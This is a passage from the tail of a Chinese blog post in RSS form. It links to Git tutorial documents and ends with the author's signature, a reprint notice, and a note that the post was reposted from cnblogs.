<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code><a href="http://blog.haohtml.com/wp-content/uploads/2011/04/git-tut.pdf" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; color: #3d81ee; border-bottom-width: 1px; border-bottom-style: dashed; ">http://blog.haohtml.com/wp-content/uploads/2011/04/git-tut.pdf</a></code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><a href="http://www.linuxsir.org/main/doc/git/gittutorcn.htm" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; color: #3d81ee; border-bottom-width: 1px; border-bottom-style: dashed; ">http://www.linuxsir.org/main/doc/git/gittutorcn.htm</a></p>
</span>﻿<span class="Apple-style-span" style="color: #333333; font-family: Georgia, 'Times New Roman', Times, san-serif; line-height: 25px; background-color: #ffffff; "><p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>或者下载《<a href="http://files.cnblogs.com/phphuaibei/git%E6%90%AD%E5%BB%BA.pdf" target="_blank" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; color: #3d81ee; border-bottom-width: 1px; border-bottom-style: dashed; ">git搭建</a>》文档</code></p></span><div class="MySignatureBoard" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; line-height: 24px; min-height: 31px; overflow-x: hidden; overflow-y: hidden; word-wrap: break-word; word-break: break-all; "> <img alt="Logo" src="http://www.cppblog.com/images/cppblog_com/gezidan/17469/r_Rixu_net(245_100).png" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px;border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; margin-left: 10px; margin-right: 10px; margin-top: 10px; margin-bottom: 10px; float: left; width: 245px; height: 100px; " /> <div id="MySignature" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 255px; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-width: 2px; border-right-width: 2px; border-bottom-width: 2px; border-left-width: 2px; border-color: #4371a6; background-image: url(http://www.xxx.com/bk.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 15px 50%; background-repeat: no-repeat no-repeat; "> <span style="color: #333333; line-height: 21px; ">作者：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">Gezidan</a></span> <div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">出处：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">http://www.rixu.net</a>　　　　</span></div> <div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。</span></div> </div>
</div>
<br />
<br /><br />
<br />
本文转载自&nbsp;http://www.cnblogs.com/phphuaibei/archive/2011/10/08/2202382.html<img src ="http://www.cppblog.com/gezidan/aggbug/157838.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-09 09:24 <a href="http://www.cppblog.com/gezidan/archive/2011/10/09/157838.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>